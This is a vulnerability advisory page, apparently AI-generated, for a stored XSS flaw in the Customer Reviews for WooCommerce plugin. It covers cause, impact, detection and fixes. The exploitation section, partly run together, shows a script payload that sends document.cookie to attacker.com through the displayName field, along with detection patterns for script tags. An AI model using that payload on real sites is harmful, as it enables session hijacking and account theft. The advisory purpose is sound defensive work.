
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-14891 is a Stored Cross-Site Scripting (XSS) vulnerability in the Customer Reviews for WooCommerce plugin for WordPress, affecting all versions up to and including 5.93.1. The flaw exists in the displayName parameter due to insufficient input sanitization and output escaping. It was published on January 7, 2026, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where the displayName parameter passed via an AJAX action in class-cr-local-forms-ajax.php is not properly sanitized before being stored and later rendered in form-customer.php without output escaping (Wordfence). Authenticated attackers with customer-level access or above can inject arbitrary JavaScript that executes in the browsers of users who visit the affected page. The AJAX action can also be invoked without authentication if the attacker knows a valid form ID — obtainable by placing an order — making the vulnerability exploitable by unauthenticated users when guest checkout is enabled (Wordfence, Plugin Changeset).
Successful exploitation allows attackers to inject persistent malicious JavaScript into WordPress pages, which executes in the browsers of any user who visits the affected page. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of victims (including administrators), and potential site takeover if an admin account is compromised. The scope is changed (S:C), meaning the impact extends beyond the vulnerable component to affect other users' browsers (Wordfence).
No public exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.198%, indicating a low probability of exploitation in the near term (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires either a customer-level authenticated session or, in guest checkout scenarios, the ability to place an order to obtain a valid form ID.
displayName parameter, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>./wp-admin/admin-ajax.php) invoking the relevant action with the malicious displayName value and the obtained form ID./wp-admin/admin-ajax.php containing HTML or JavaScript tags within the displayName parameter; outbound requests from victim browsers to unknown external domains shortly after visiting WooCommerce review pages.<script>, onerror=, onload=) in POST body parameters.displayName field should be treated as suspicious.wp_* tables related to Customer Reviews for WooCommerce) containing unsanitized HTML or JavaScript in display name fields.Users should update the Customer Reviews for WooCommerce plugin to version 5.93.2 or later, which includes the fix applied in changeset 3424980 (Plugin Changeset). As an interim workaround, site administrators can disable guest checkout to reduce the unauthenticated attack surface, and restrict customer registration if not required. Monitoring AJAX requests for script injection patterns via a Web Application Firewall (WAF) such as Wordfence is also recommended.
Wordfence included this vulnerability in their weekly WordPress vulnerability report for January 5–11, 2026, and Sucuri highlighted it in their January 2026 vulnerability patch roundup (Wordfence Blog, Sucuri Blog). Community discussion has been limited, with no significant social media controversy or high-profile researcher commentary noted beyond standard vulnerability tracking.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."